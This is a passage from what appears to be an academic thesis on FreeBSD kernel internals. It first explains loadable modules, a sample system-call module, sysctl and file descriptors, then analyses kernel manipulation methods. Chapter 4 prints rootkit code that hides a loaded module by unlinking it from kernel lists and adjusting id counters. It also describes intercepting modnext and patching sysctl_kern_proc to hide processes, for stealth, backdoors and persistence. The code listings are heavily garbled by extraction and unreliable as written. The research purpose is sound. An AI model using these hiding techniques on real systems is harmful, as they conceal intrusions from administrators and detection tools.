51 TAI LQ_ENTRY( modul e ) l i nk ; / * chai n t oget her al l modul es * /
52 TAI LQ_ENTRY( modul e ) f l i nk ; / * al l modul es i n a f i l e * /
53 �


���� ��
 l i nker _f i l e * f i l e ; / * f i l e whi ch cont ai ns t hi s modul e * /
54

�	��
 r ef s ; / * r ef er ence count * /
55

�	��
 i d; / * uni que i d number * /
56

��
�� � * name; / * modul e name * /
57 modevent hand_t handl er ; / * event handl er * /
58

������� * ar g ; / * ar gument f or handl er * /
59 modspec i f i c_t dat a; / * modul e spec i f i c dat a * /
60 } ;

� �

Similar to the modules list, the linker files list contains for each linker �le from
which at least one module is loaded exactly one linker file structure as shown by
Listing 3.14. This structure includes, among things similar to a modules entry, the
number of modules refs that refer to this linker �le and the number and list of linker
�les ndeps respectively *deps that this linker �le depends on. So in particular the
loading of a module increments the refs counter of the kernel linker �le, becauseall
modules refer to the kernel linker �le /boot/kernel/kernel .

Finally the global integervariable next file id , which indicatesthe next free(unique)
identi�cation number for a linker �le, is incremented by 1 whenever a further linker �le
is loaded into the kernel.
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Listing 3.14: /usr/src/sys/sys/linker .h� �
68 �


 � � ��
 l i nker _f i l e {
69 KOBJ_FI ELDS;
70

�	��
 r ef s ; / * r ef er ence count * /
71

�	��
 user r ef s ; / * k l dl oad( 2) count * /
72

�	��
 f l ags ;
73

�

�����
����� LI NKER_FI LE_LI NKED 0x1 / * f i l e has been f ul l y l i nked * /
74 TAI LQ_ENTRY( l i nker _f i l e ) l i nk ; / * l i s t of al l l oaded f i l es * /
75

��
�� � * f i l ename ; / * f i l e whi ch was l oaded * /
76

�	��
 i d; / * uni que i d * /
77 caddr _t addr ess ; / * l oad addr ess * /
78 s i ze_t s i ze; / * s i ze of f i l e * /
79

�	��
 ndeps ; / * number of dependenc i es * /
80 l i nker _f i l e_t * deps ; / * l i s t of dependenc i es * /
81 STAI LQ_HEAD( , common_symbol ) common ; / * l i s t of common symbol s * /
82 TAI LQ_HEAD( , modul e ) modul es ; / * modul es i n t hi s f i l e * /
83 TAI LQ_ENTRY( l i nker _f i l e ) l oaded ; / * pr el oad dependency suppor t * /
84 } ;

� �

3.6.3 Example: A System Call Mo dule

Implemen tation

For two reasonswe conduct an examplethat implements an additional systemcall to the
systemcall table. We aim �rstly at giving further details about systemcall handling in
the kernel and secondlyat getting familiar with KLD programming. Listing 3.15 shows
the complete sourcecode of such a module.

Listing 3.15: /home/alm/my-syscall/my- syscall .c� �
1

�

����� � � � � <sys / t ypes . h>
2

�

����� � � � � <sys / par am. h>
3

�

����� � � � � <sys / pr oc . h>
4

�

����� � � � � <sys / modul e . h>
5

�

����� � � � � <sys / sysent . h>
6

�

����� � � � � <sys / ker nel . h>
7

�

����� � � � � <sys / sys t m. h>
8

�

����� � � � � <bsm/ audi t _kevent s . h>

We �rst have to de�ne the function that is executedby the system call. This function
will be called from trap.c as the implementing function of the system call. Listing
3.7 at Line 976 shows the call of the implementing function of the system call with a
pointer to the thread structure of the calling thread as �rst parameter and a pointer to
the arguments vector of the system call as secondparameter.

10 �


�� 

� � ����
 my_syscal l ( �


 � � ��
 t hr ead * t d , ������� * ar g) {
11 pr i nt f ( " Thi s  i s  ker nel  mode! \ n" ) ;
12

� � 
 ����� 0;
13 }

The corresponding entry in the systemcall table, which we already analyzed in Section
3.4.3, is made of a sysent structure as shown in Listing 3.8 including the number of
arguments and the implementing function.

15 �


�� 

� �

�


�� � � 
 sysent my_syscal l _sysent = {
16 0,
17 ( sy_cal l _t * ) my_syscal l ,
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18 AUE_NULL
19 } ;

To de�ne the slot in the system call table one can either search for a free slot number
and set its value or useNOSYSCALL, which is actually -1 , whereby syscall register()
in kern syscalls.c is causedto search and assigna free slot at loading time.

21 �


�� 

� � ����
 my_syscal l _num = NO_SYSCALL ;

The following function is executed when the system call is loaded or respectively un-
loaded. It may be used for initialization or clean-up purposes. In our example only
a messageis posted that informs about the slot number that is or was assigned. Do
not confusethis function with the similar myhandler() function from above, becausein
contrast to that it is invoked from the routine corresponding to myhandler() namely
syscall module handler() on each load or unload, respectively.

23 �


�� 

� � ����
 l oad ( �


�� � ��
 modul e * modul e , �	��
 what , ������� * ar g ) {
24

�	��
 er r or = 0;
25 ���

��
���
 ( what ) {
26

���

�

� MOD_LOAD : / * i n case of a LOAD * /
27 pr i nt f ( " syscal l  l oaded  at  %d\ n" , my_syscal l _num) ;
28

�

� � ��� ;
29

���

�

� MOD_UNLOAD : / * i n case of a UNLOAD * /
30 pr i nt f ( " syscal l  unl oaded  f r om %d\ n" , my_syscal l _num) ;
31

�

� � ��� ;
32

� ����� � � 
 :
33 er r or = EOPNOTSUPP;
34

�

� � ��� ;
35 }
36

� � 
 ����� er r or ;
37 }

So the di�erence between this and the previous example is that instead of the self
de�ned myhandler() routine we usehere syscall module handler() , whencebesides
load() alsosyscall register() is called, which is dedicatedfor the purposeof adding
a system call to the system call table. Besidesthe module structure and the MODLOAD
parameter syscall module handler() is called with the special syscall module data
structure as additional parameter, which provides the required information about the
system call de�ned as follows.

41 �


�� 

� �

�


�� � � 
 syscal l _modul e_dat a my_syscal l _syscal l _modul e_dat a = {
42 l oad ,
43 NULL , / / ar gument s
44 &my_syscal l _num,
45 &my_syscal l _sysent ,
46 { 0, NULL }
47 } ;

The remaining structures are speci�c to module loading and module administration in
the kernel. We have already explained them in Subsection3.6.1.

49 �


�� 

� � modul edat a_t my_syscal l _modul edat a = {
50 " my_syscal l " ,
51 syscal l _modul e_handl er ,
52 &my_syscal l _syscal l _modul e_dat a
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53 } ;
54

55 �


�� 

� �

�


�� � � 
 mod_met adat a my_syscal l _mod_met adat a = {
56 MDT_STRUCT_VERSI ON,
57 MDT_MODULE,
58 &my_syscal l _modul edat a ,
59 " my_syscal l "
60 } ;
61

62 �


�� 

� �

�


�� � � 
 sys i ni t my_syscal l _modul e_sys i ni t = {
63 SI _SUB_DRI VERS ,
64 SI _ORDER_MI DDLE ,
65 modul e_r egi s t er _i ni t ,
66 &my_syscal l _modul edat a
67 } ;
68

69 �


�� 

� � �
����� �����

�


 * �����

�


 __set _modmet adat a_my_syscal l
70 __at t r i but e__( ( __sect i on__ ( " set _modmet adat a_set " ) ) )
71 __at t r i but e__( ( __used__ ) )
72 = &my_syscal l _mod_met adat a ;
73 �


�� 

� � �
����� �����

�


 * �����

�


 __set _sys i ni t _my_syscal l
74 __at t r i but e__( ( __sect i on__ ( " set _sys i ni t _set " ) ) )
75 __at t r i but e__( ( __used__ ) )
76 = &my_syscal l _modul e_sys i ni t ;

� �

Note that to easethe implementation of a module, FreeBSDprovides a set of C pre-
processormacrosthat hide the appropriate de�nition of thesespecial structures. For in-
stanceSYSCALLMODULEpreparesfor a KLD providing a systemcall and DECLAREMODULE
more generally for any loadable module. As it su�ces to seea module at full length
once,we usetheseshortcuts in the remaining sections.

Using a Self De�ned System Call

Via the syscall() system call it is possible to invoke a system call by its number.
Listing 3.16 shows a small program that readsthe desiredsystemcall number from the
command line and invokes it without any parameter.

Listing 3.16: /home/alm/my-syscall/use-m y-s yscall.c� �
�	��
 mai n( �	��
 ar gc , ��
���� * ar gv [ ] ) {

�	��
 syscal l _num = 1;
� � ( ar gc == 2)

sscanf ( ar gv [ 1] , " %d" , &syscal l _num) ;
� � 
 ����� syscal l ( syscal l _num) ;

}
� �

Finally, to test the whole example we run the following commands. It includes the
compilation of the module via an appropriate kernelmodule make�le asshown by Listing
3.11.

freebsd# �

�����

��� 


�

	 ���

�

� �

�

�	���"� 	����

�

freebsd# � �

Makefile my-syscall.c use-my-syscall.c
freebsd# �
	���


[...]
freebsd# ���

�

����	

� � �

���

�

�	����� 	����

�

���

freebsd# ���

�

��!�	"!
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Id Refs Address Size Name
1 4 0xc0400000 642698 kernel
2 16 0xc0a43000 568dc acpi.ko
3 1 0xc17f0000 2000 my-syscall.ko

freebsd# !�	�
��

�

��	��

�

�����

�

�

���� 	"��
��

[...]
Mar 3 21:00:17 freebsd kernel: syscall loaded at 210

freebsd# �"�

�

� � ��


�

���

�

�	����� 	���� � ��


�

� �

�

�����"� 	����

�

�

freebsd#
� �

� � 


�

� �

�

�	���"� 	 ����� ���

freebsd# ���

�

��� ����	

� � �

� �

�

�����"� 	����

�

���

freebsd# !�	�
��

�

��	��

�

�����

�

�

���� 	"��
��

[...]
Mar 3 21:00:17 freebsd kernel: syscall loaded at 210
Mar 3 21:01:47 freebsd kernel: This is kernel mode!
Mar 3 21:01:53 freebsd kernel: syscall unloaded from 210

3.7 System Con trols

FreeBSDprovides a well-de�ned interface to passinformation to and from the kernel at
runtime { namely the sysctl() systemcall, which is exported by the standard library
libc to the user spaceas sysctl() . For example, it can be used to set certain kernel
variables such as the hostname or the secure level as well as to retrieve information
about processesor other kernel data structures.8

To be more precisewe needthe following de�nitions. 9 The kernel name space is the
set of all kernel routines and data that are given a name. To print out the name space
readelf -s /boot/kernel/kernel can be used. A system control object or sysctl10

consistsexactly of onesysctl oid object asshown by Listing 3.17. An instanceof such
an object contains a pointer to an element of the kernel name spacein oid arg1 and
a pointer to a so-calledsystemcontrol handler routine in oid handler . This routine is
also an element of the kernel name space.

Listing 3.17: /usr/src/sys/sys/sysctl .h� �
153 �


 � � ��
 sysct l _oi d {
154 �


���� ��
 sysc t l _oi d_l i s t * oi d_par ent ;
155 SLI ST_ENTRY( sysct l _oi d ) oi d_l i nk ;
156

�	��
 oi d_number ;
157 u_i nt oi d_k i nd ;
158

������� * oi d_ar g1 ;
159

�	��
 oi d_ar g2 ;
160

�����

�


 ��
���� * oi d_name ;
161

�	��
 ( * oi d_handl er ) ( SYSCTL_HANDLER_ARGS) ;
162

�����

�


 ��
���� * oi d_f mt ;
163

�	��
 oi d_r ef cnt ;
164

�����

�


 ��
���� * oi d_descr ;
165 } ;

� �

With each sysctl() call exactly onesystemcontrol object is associated. During the

8Note that for the handling of data about processesalso the �le system based interface procfs is
available, which is turned o� by default. We do not cover procfs .

9The terminology of this section may depart from what is standard in FreeBSD.
10 Do not confuse this term with the user spaceroutine sysctl() .
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call this object is processedby calling its system control handler with oid arg1 as the
secondof four parameters. In that casewe speak of a systemcontrol request.

By this meansreadableand/or writable 11 accessto arbitrary elements of the kernel
name spacecan be provided to the user. This can be the querying or setting of kernel
data such as strings, integers, or structures, where the handler routine acts as set and
get routine. It is also possibleto executea certain kernel procedureas system control
handler that, for example, collects and returns useful information such as information
about processes.This is a special caseof readable accessto an element of the kernel
name space.The information passedto a user by a systemcontrol request is called the
systemcontrol value. In caseof a writable system control object the user is allowed to
modify this value via a system control request.

The setof all systemcontrol objects is organizedasa tree of non-empty lists of system
control objects, called the systemcontrol tree. This is accomplishedvia oid parent and
oid link . The handler of a node that is not a leaf passesexecution to the handler of
one of its children, such that nodesother than leafsonly provide the tree structure. To
print out all leafs of the system control tree, one can issuesysctl -o -a in the shell.
This command displays the leafs with their path in the system control tree in dotted
notation as well as their system control values. If a system control value is not human
readable,a dump of the �rst sixteen bytes in sedecimalrepresentation will be displayed.

The following illustrating examplesare worth mentioning. The value of the writable
system control object kern.hostname represents the host name of the machine. It can
be set to newhostnameby issuing sysctl kern.hostname=newhostnamein the shell.
Only root can do that. The integer value of kern.securelevel ranging from -1 to
3 represents the security level of the kernel. It can only be raised, but not lowered by
root . We cover security levels in Section 5.8. The ps command falls back to a system
control requestwhosehandler routine sysctl kern proc() accumulates the appropriate
information about processesand copiesthem { i.e. its systemcontrol value{ to a location
of the user segment. The leafsof the systemcontrol tree requestedby the ps command
are the children of the node kern.proc . For examplekern.proc.all is usedto retrieve
information on all running processes.Finally, kern.version contains what is shown by
the uname-a shell command. This is for instance the version name of the kernel and
the time of its compilation.

3.8 In terpro cess Comm unication and I/O

This sectiondealswith I/O and interprocesscommunication (IPC) facilities. We partic-
ularly turn our attention to facilities that are accessedthrough so-called�le descriptors.
They make up a major part of I/O and IPC.

While with the term I/O one commonly refers to the exchange of data between
subjects and objects as de�ned in Subsection2.3.3, interprocesscommunication (IPC)
means communication of subjects with each other. Though these terms are not well
separated, since for example IPC may happen via objects. In the remainder of this
sectionwealsospeakof processes,devices,�les, et ceterainsteadof subjects and objects.

11 The accessmode of a system control object can be either read only, write only, or read and write.
It is indicated among other things by the oid kind �eld of the sysctl oid structure.
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Figure 3.3: I/O and IPC Classi�cation

I/O and IPC are accomplishedfor a processeither exclusively through the system
call interface or are basedon virtual memory. The latter caseincludes memory mapped
I/O and sharedmemory IPC.

In the former casea processopens a connection to an object by requesting a �le
descriptor, which is an identi�er for this connection with the object. Further I/O re-
lated system calls, such as for reading and writing, refer to the connection through the
associated �le descriptor. Note that there are alsoIPC mechanisms,such assemaphores
and signals, that do not use�le descriptors.

A �le descriptor is actually a non-negative integer that is used in the kernel as an
index in the �le descriptor table of a process,which is kept in the filedesc substructure
p fd of the processstructure [35, p.226]. Its entries are file structures containing meta
data about the associated object such as its type and type speci�c data.

Basically there are two di�eren t kinds of such types: on the one hand one kind for
thoseobjects that do appear in the �le systemtree called vnodes and on the other hand
one for those that do not. Vnodesare an abstraction of everything that appears in the
�le system tree such as regular �les , directories, links, �fos , and device special �les .
Examples not appearing in the �le system tree are pipes and sockets. For more infor-
mation about the I/O objects just mentioned refer to The Design and Implementation
of the FreeBSD Operating System [35]. Figure 3.3 depicts the classi�cation of I/O and
IPC facilities that we described here.



3.8. INTERPR OCESSCOMMUNICA TION AND I/O 41

We give further information about the following examplesof vnodes: regular �les,
directories, and the devicespecial �le /dev/kmem.

For a regular �le a �le descriptor can be obtained by the open() system call. The
path in the �le system tree is given as a parameter and the appropriate �le descriptor
is returned if no error occurred.12

The �le system tree is built by means of directories. A directory is a node that
contains the namesof its direct children on the one hand and on the other hand a �le
system speci�c identi�er for each child. In particular, �le namesare only stored in the
directory where the associated �le is contained in. Therefore pathnamesare translated
step by step by traversing the directories on the path.

The contents of a directory can be obtained by the getdirentries() system call.
Independent of the underlying �le system,getdirentries() writes thesecontents asan
array of dirent structures to a bu�er in userspace.The format of the dirent structure
is shown by Listing 3.18. In particular, dirent structures may vary in its size.

In caseof the Unix File System(UFS), directories are stored on the disc in this way.
The �le system speci�c identi�er is the number of the inode.

Listing 3.18: /usr/src/sys/sys/dirent .h� �
50 �


 � � ��
 di r ent {
51 __ui nt 32_t d_f i l eno ; / * f i l e number of ent r y * /
52 __ui nt 16_t d_r ec l en ; / * l engt h of t hi s r ecor d * /
53 __ui nt 8_t d_t ype ; / * f i l e t ype , see bel ow * /
54 __ui nt 8_t d_naml en ; / * l engt h of s t r i ng i n d_name * /
55

�

� � __BSD_VI SI BLE
56

�

�����
����� MAXNAMLEN 255
57

��
�� � d_name [ MAXNAMLEN + 1] ; / * name must be no l onger t han t hi s * /
58

�

� �

�

�

59
��
�� � d_name [ 255 + 1] ; / * name must be no l onger t han t hi s * /

60
�

� � �
� �

61 } ;
� �

Finally, it should be noted that the kernel segment of memory is exported as the
node /dev/kmemin the �le systemtree. It provides unstructured character-basedaccess
to the kernel segment.

12 The other way of accessinga �le by its path is �le execution through the execve() system call [35,
p.174]. However, this is not I/O.





Chapter 4

Analysis of Manipulation
Metho ds and Their Impact

This chapter deals with methods of manipulation in operating system kernels using
FreeBSDasan example. According to De�nition 33a kernel manipulation is a subversion
of the integrity of the kernel. The analysisof such methods is twofold: While we explore
on the one hand the di�eren t possibilities to compromise the integrity of the kernel,
the consequencesthat a manipulation can entail are of interest on the other hand.
The classi�cation in the �rst section follows this perception. After that, a detailed
consideration in terms of several experiments takes place to illustrate these methods
and their goals.

4.1 Classi�cation

4.1.1 Di�eren t Metho ds of Manipulation

In this subsectionwe cover the di�eren t methods of manipulation using the kernel entry
points at the top half and at the bottom half of the kernel. We only consider kernels
that are protected by a protection domain. As we pointed out in Subsection2.4.3 this
approach is an essential concept in UNIX and thus in FreeBSD.

Firstly , the only way for a user processto interact with the outside of its virtualized
world is the system call interface. Hence, a manipulation initiated at the top half of
the kernel can only be achieved via this interface, if at all. On the one hand such a
manipulation can be achieved either if an attacker is able to executesupplied malicious
code in kernel mode, or if an attacker can write supplied malicious data to the kernel
segment. In both cases,however, there must be a severe vulnerabilit y in the handling
of a system call in the kernel that makes this possible for an attacker. On the other
hand, most operating systemsallow privileged usersto extend or modify the kernel to
upgrade it to a new version �xing an error or to add further features such as support
of a new hardware device. On modern systemsthis is even possibleat runtime. There
have to be system calls that are speci�cally designedto provide this functionalit y. To
misusethis operating systemfeature for a manipulation, an attacker has to circumvent
the mechanism that enforcesuser privileges. This approach to kernel manipulation is
likely to be the most common way and thus we cover it in detail. In FreeBSDparlance,

43
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the attacker has to use a root exploit to get root 's privileges. These are necessaryto
misuseoneof the three following ways for a manipulation of the kernel [8, p.107et seq.]:

1. By loading a kernel loadable module (KLD) via the kldload() system call it is
possibleto run arbitrary code in kernel mode. Thus it is possibleto modify the
kernel and its data in any way. This interface was originally designedto extend
the functionalit y of the kernel as illustrated in Chapter 3, but can be misusedfor
a manipulation by an attacker.

2. The whole kernel segment of memory is exported readableand writable to the user
root via the /dev/kmemnode of the �le system. Thus it is possibleto manipulate
existing kernel code and kernel data as well as to inject new code to a piece of
unusedmemory, which is then activated, for example,by redirecting a systemcall
[8, p.108].

3. Finally, it is possible to patch or replace the kernel executable �le /boot/ker
nel/kernel or one of the kernel loadable module �les in the /boot/kernel/ di-
rectory (using the �le systemspeci�c systemcalls). With this method even major
changesof the functionalit y of the kernel are easy to handle. An attacker may,
for instance,develop and compile a subtle dysfunctional kernel taking all the time
they need. Afterwards they only have to install it in the target system. At this
point a supposedFreeBSD advantage over Linux may turn into a disadvantage,
sincethe concept of the one GENERICkernel per releaseeasessuch attacks.

Thesethree methods do not di�er in their power to manipulate the functionalit y of
the kernel sinceall of them allow to run arbitrary code in kernel mode. But, they indeed
di�er in complexity and suitabilit y for the di�eren t aims of the attacker. These aims
are described in the following subsection.

Secondly, there is another way to manipulate the kernel { namely via the bottom
half interface. In this case,the attacker has to exploit a vulnerabilit y in a component
of the I/O subsystemof the kernel. Under certain circumstancesthe attacker can also
in this way inject supplied malicious code to be executed in kernel mode or they can
write supplied malicious data to the kernel segment. Such a scenariocould originate,
for example, from the incorrect handling of IP packets arriving from a network device
so that a specially prepared packet can causean incident.

Finally, it should be noted that we neglectall physical attacks at the hardware level
and presumethat the attacker doesnot have physical accessto the target machine. In
particular the attacker is not able to accessthe hard disk, when the system is switched
o�, to replaceor modify kernel �les.

4.1.2 Impact and Possible Goals of a Manipulation

Basically an attacker is able to implement any dysfunction in the kernel by the methods
just described. Hence the impact of a subtle manipulation can be enormous. This
subsection lists typical objectives for which an attacker strives by means of such a
manipulation.

Before we start it should be noted that the SubVirt project [31] showed that it is
even possibleto inject a dysfunctional virtual machine monitor (VMM) as new kernel
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beneath the hardware and the pre-existing operating system kernel. The old kernel
then runs on this VMM as a pseudokernel. In doing so, the integrity of the kernel is
preserved. This makessuch a kind of incident even harder to detect. Sincein this case
we do not have a proper manipulation of the kernel according to our de�nition at the
beginning of this chapter, we skip consideringthis also signi�cant approach.

Stealth

Attacker may wish to operate completely by stealth, which means that they want to
hide all their activities from detection. For this purposea manipulation of the kernel
provides the best conditions as all detection mechanisms of a running system make
use of the servicesof the manipulated kernel. Here is the major advantage of kernel
manipulation over a manipulation at the library level or at the level of system and
application programs, where kernel servicesremain untouched.

Backdo or

If an attacker causedan incident to get full accessto a target system, they may wish
to install a backdoor , which is a hidden entrance to the systemgiving them unimpeded
accessin the future. Sincea backdoor livesfrom being stealthy, an implementation with
the aid of a kernel manipulation provides maximum e�ect.

Persistence

Depending on the averageuptime of a target system, persistence of the changed ma-
licious functionalit y of the kernel across a reboot may be the goal of an attacker.
This can only be achieved by saving malicious code non-transiently, for instance in
/boot/kernel/kernel on the hard disk. A manipulation via /dev/kmem or via a KLD
doesnot provide persistencewithout further ado.

Full Disclosure

A manipulated kernel gives an attacker the possibility to accessany data processedby
the subverted target system. This includesclear text passwords, whole terminal sessions,
or network communications.

4.1.3 Eliciting Poin ts of A ttac k in the Kernel

To be more precise,a manipulation of the kernel meansa manipulation of kernel data or
kernel routines. Thereforewe call a manipulated routine or data item a point of incident
or a point of manipulation. In caseof being the target of an attack, for instance for the
purposeof a manipulation, we call a routine or a data item a point of attack.

A routine can access further routines and data by means of procedure calls and
memory addressdereferencing,which means accessingdata at a given address. The
sameholds for data since grouped or structured data can contain pointers to further
data or even to routines. Following this perception, we may view on the onehand the set
of all points of attack asverticesand on the other hand all accessesto points of attack as
edges.Thereby we obtain a directed graph. Figure 4.1 shows a potential example. We
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speak of direct access in caseof accessbetween adjacent vertices. Otherwise, indir ect
access exists in caseof a vertex being in the reachabilit y set of another vertex and no
direct accessis given.

During a manipulation of a point of attack one must be aware of all its ingoing and
outgoing edgesin order to handle correctly all possibleside e�ects in association with
this point of attack after the manipulation. Thus it is desirableto elicit points of attack
having a manageableset of such edges.An example are the functions representing the
systemcall interface (at the top of the kernel) that do not have any ingoing edgessince
usually a system call is not called from the inside of the kernel. Alik e, vertices having
few outgoing edgesare therefore suited for a manipulation. Such vertices are low level
data or functions operating directly at them,
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Figure 4.1: Accessesof routines and data

Another criterion for eliciting points of attack arises from the goal to be stealthy.
A manipulation that strives for hiding itself and possibly further malicious user level
activit y as well will be most e�cien t if it addressesthe origin of the information to be
hidden rather than the system calls with which they are accessed.The reasonfor this
is quite obvious as information in the kernel is gathered in a straightforward manner in
terms of few centralized low level data. In contrast to this there are usually numerous
system calls that directly or indirectly accessthose data. From this follows that fewer
points of manipulation are necessary, which meanshigher e�ciency .

Additionally in such a case of manipulation, stealth may also be more e�ectiv e
since �rstly fewer points of manipulation are lessprone to errors, presumedthat their
complexity doesnot outweigh this advantage. Note that a manipulation of systemcalls
is quite easyto understand and thus lesscomplex. Secondly, the shortest path length
{ with respect to our directed graph { from a system call to any point of manipulation
will then be maximal. In particular vertices closeto the user level will then be likely
to remain untouched. Hencean analysis of the system call interface or of vertices close
to this interface by a privileged user, which might be via self-de�ned kernel code or
direct accessto the kernel segment, will not reveal the manipulation. This will give
an advantage if such an analysis is easier to accomplish than an analysis of low level
vertices. Summing up thesefacts, we can say that keepinga manipulation far from user
level may improve its stealth in e�ciency and e�ectiv eness.

Finally the set of points of attack that come into question depends mostly on the
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goal and the aspired functionalit y of the manipulation, obviously.

4.2 Presumptions

For the following experiments with the FreeBSD system we presumethat an attacker
is able to perform a manipulation as root after a penetration of the target system or
on behalf of a malicious program run by root . As a consequence,the manipulation
methods elaborated in this chapter can realistically start from a root shell of the target
system. The attacker's root accessis limited in time and the root password is not
disclosedbefore the manipulation. We regard all theseto be realistic presumptions.

4.3 Exp erimen t 1: Hiding a Mo dule

Our �rst experiment comparesa manipulation of low level data with a manipulation
of the system call interface with regard to e�ciency and e�ectiv enessof the stealth
functionalit y. For this purpose we develop a KLD in two versions that try to hide
themselves from detection and that have no further payload. While version 1 inter-
cepts several system calls that are related to module loading and querying, version 2
directly manipulates the appropriate administrativ e low level data. As a consequence
the attacker in this experiment applies the module technique of manipulation for the
goal of stealth. We also prepare the useof the module technique for any other stealthy
manipulation, since before we can do anything stealthy by this technique, we need to
the hide the existenceof the module itself.

While we pick out and explain snippets of the sourcecode of the modules in this
section, the full sourcesare included in Section C.1 of the appendix. Compilation and
installation of loadable modules was covered in Section 3.6.

We start with version 1 of the module. This version intercepts, for example, the
modnext() systemcall and replacesit by what is shown in Listing 4.1. The modnext()
systemcall normally returns the module identi�er of the next kernel module to a given
module identi�er in the list of all modules modules or it returns 0 if the given module
identi�er identi�es the last module in the list. By giving modnext() an identi�er 0 as
parameter, it returns the identi�er of the �rst module in the list. Thereby one can
browse the list of all kernel modules. Instead, our mymodnext() system call calls the
original modnext() and checks whether it returned the identi�er of the module that we
want to hide. In that casemymodnext() calls again the original modnext() . This time
our module identi�er is usedas parameter in order to skip this identi�er.

Listing 4.1: /home/alm/exp1/hide-modu le- v1.c� �
40 �


�� 

� � ����
 mymodnext ( �


�� � ��
 t hr ead * t d , �


�� � ��
 modnex t _ar gs * uap) {
41

�	��
 er r or = 0;
42

43 er r or = modnext ( t d , uap) ;
44

45
� � ( t d - >t d_r et val [ 0] == mymodi d ) {

46 uap - >modi d = mymodi d ;
47 er r or = modnext ( t d , uap) ;
48 }
49

50
� � 
 ����� ( er r or ) ;



48 CHAPTER 4. ANAL YSIS OF MANIPULA TION METHODS

51 }
� �

Analogously we deal with all other systemcalls that are related to module handling.
As a result, no request of the system utilities kldstat and kldunload , which fall back
to thesesystemcalls, can reveal the hidden module. When in DEBUGmode, it is possible
to unload the module by issuing kldunload -i id , while id is printed out as kernel
log messageat loading time. In that case,the module purgesall modi�cations from the
system call table.

Although version1 wasquite easyto program, ten systemcallshad to bemanipulated
with the result of 280 lines of code. In addition the referencecounter of the kernel
linker �le /boot/kernel/kernel , which is increased by loading a further linker �le
into the kernel, shown by the kldstat program might raise suspicion. Identi�cation
numbers of modules and linker �les are assignedin ascending order, so that a gap
resulting from a hidden module might also give a hint. These drawbacks in e�ciency
and e�ectiv enessare addressedby version 2 of the module, which works similarly to
what the hacker Pragmatic did [37]. This time we look at the administrativ e data about
modules in the kernel, which are described in Subsection3.6.2. Referring to what the
routines module release() and linker file unload() do at the time of unloading,
we manipulate the global list of linker �les and modules { namely linker files and
modules { as well as the referencecounter of the kernel linker �le and the variables
providing next free identi�cation numbers nextid and next file id . As shown by
Listing 4.2, these �v e manipulations are performed on behalf of the module handler
routine, which is calledafter the registration of the module in the kernel'sadministrativ e
data structures took place. Note that the version 2 module does not provide a debug
mode in which it can be properly unloaded.

Listing 4.2: /home/alm/exp1/hide-modu le- v2.c� �
46 �


�� 

� � ����
 myhandl er ( �


�� � ��
 modul e * modul e , ����
 what , ������� * ar g) {
47

�	��
 er r or = 0;
48

49 ���

��
���
 ( what ) {
50

���

�

� MOD_LOAD :
51 / * save my modul e and l i nker f i l e i d * /
52 mymodi d = modul e - >i d;
53 myf i l ei d = modul e - >f i l e - >i d;
54

55 / * r emove f r om l i s t of l i nker f i l es * /
56 mt x_l ock ( &k l d_mt x ) ;
57 TAI LQ_REMOVE( &l i nker _f i l es , modul e - >f i l e , l i nk ) ;
58 mt x_unl ock ( &k l d_mt x ) ;
59

60 / * dec r ease r ef er ence count of ker nel l i nker f i l e * /
61 l i nker _ker nel _f i l e - >r ef s - - ;
62

63 / * r emove f r om l i s t of modul es * /
64 TAI LQ_REMOVE( &modul es , modul e , l i nk ) ;
65

66 / * dec r ease number of next avai l abl e modul e i d * /
67 next i d - - ;
68

69 / * dec r ease number of next avai l abl e l i nker f i l e i d * /
70 next _f i l e_i d - - ;
71

�

� ����� � DEBUG
72 pr i nt f ( " Loaded  mal i c i ous  modul e .  Li nker  f i l e  i d :  %d.  

Modul e  i d:  %d\ n" , myf i l ei d , mymodi d ) ;
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73
�

� � �
� �

74 pr i nt f ( " Our  Pay l oad  i s  j us t  t hi s  message ! \ n" ) ;
75

�

� � ��� ;
76

���

�

� MOD_UNLOAD :
77 er r or = 0;
78

�

� � ��� ;
79

� ����� � � 
 :
80 er r or = EOPNOTSUPP;
81

�

� � ��� ;
82 }
83

� � 
 ����� er r or ;
84 }

� �

4.4 Exp erimen t 2: Hiding a Pro cess

An attacker may wish to hide a userprocessthat performs their malicious activit y. This
could be for example the attacker's login shell, a network sni�er, or a self replication
mechanism. In our Experiment 2 we develop a kernel from the source with support
for such hidden processes.This kernel shall behave as a GENERICkernel in all other
respects. Afterwards we simply replace the original /boot/kernel/kernel �le on the
target machine by our malicious version of that �le. Even though a reboot is necessary
to activate the malicious kernel, it will then persist all further reboots.

The idea is to assigna hidden 
ag to each processin its processstructure and to
modify the appropriate sysctl handler routine (sysctl kern proc() ) such that hidden
processesare skipped. Recall from Section3.7 that this handler routine normally passes
information about all processesto the userspace.All child processesof a hidden process
inherit this property from their parent's processstructure. Through an additional system
call it is be possibleto mark a processas hidden. We neglect the possibility to access
information about processesvia procfs at this point such that our hidden processes
can be revealed this way. To hide a processfrom procfs meansto hide a �le in a �le
system. We cover that in Section 4.5.

4.4.1 Dev elopmen t

In the following we explain all necessarysourcecode changes,which are all madeunder
/usr/src/sys/ , where the whole source code of the kernel is located. For an exact
information of what we changedlook at the diff �le in Section C.2 of the appendix.

We start with the processstructure which is de�ned in proc.h . As shown by Listing
4.3 we simply add an integer variable p hidden that indicates whether or not a process
is hidden.

Listing 4.3: /usr/src/sys/sys/proc.h� �
515 �


 � � ��
 pr oc {

582 / * The f ol l owi ng f i el ds ar e al l copi ed upon c r eat i on i n f or k . * /
583

�

�����
����� p_st ar t copy p_endzer o

591
�	��
 p_hi dden ; / * ( j / c ) Make pr ocess hi dden * /

592 / * End ar ea t hat i s copi ed on c r eat i on. * /
593

�

�����
����� p_endcopy p_xst at
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608 } ;
� �

In order that p hidden is correctly initialized with a value of 0, which indicates
\not hidden", we only have to set this value once when the �rst processproc0 also
called [swapper] is created. All other processesare forked from this processand they
will inherit the \not hidden" property if the p hidden 
ag is declared between the
p startcopy and the p endcopy macro. This area of the processstructure is copied
upon creation by the fork1() procedure,which is the backend of the fork() family of
procedures.Thereby alsothe \hidden" property is obviously inherited by the children of
a process.Listing 4.4 shows the necessarychangeof the initialization routine of proc0
in init main.c , which is called at boot time.

Listing 4.4: /usr/src/sys/kern/init main.c� �
312 �


�� 

� � �
�����

313 pr oc0_i ni t ( ������� * dummy __unused )
314 {

371 p- >p_hi dden = 0;

439 }
440 SYSI NI T( p0i ni t , SI _SUB_I NTRI NSI C , SI _ORDER_FI RST , pr oc0_i ni t , NULL)

� �

As mentioned above, the sysctl kern proc() system control handler is associated
to most leafsof the kern.proc node. In particular the systemcontrol requestsof the ps
command fall back to this handler. We have to manipulate this handler at two points
as shown by Listing 4.5. In caseof a kern.proc.pid system control request, which is
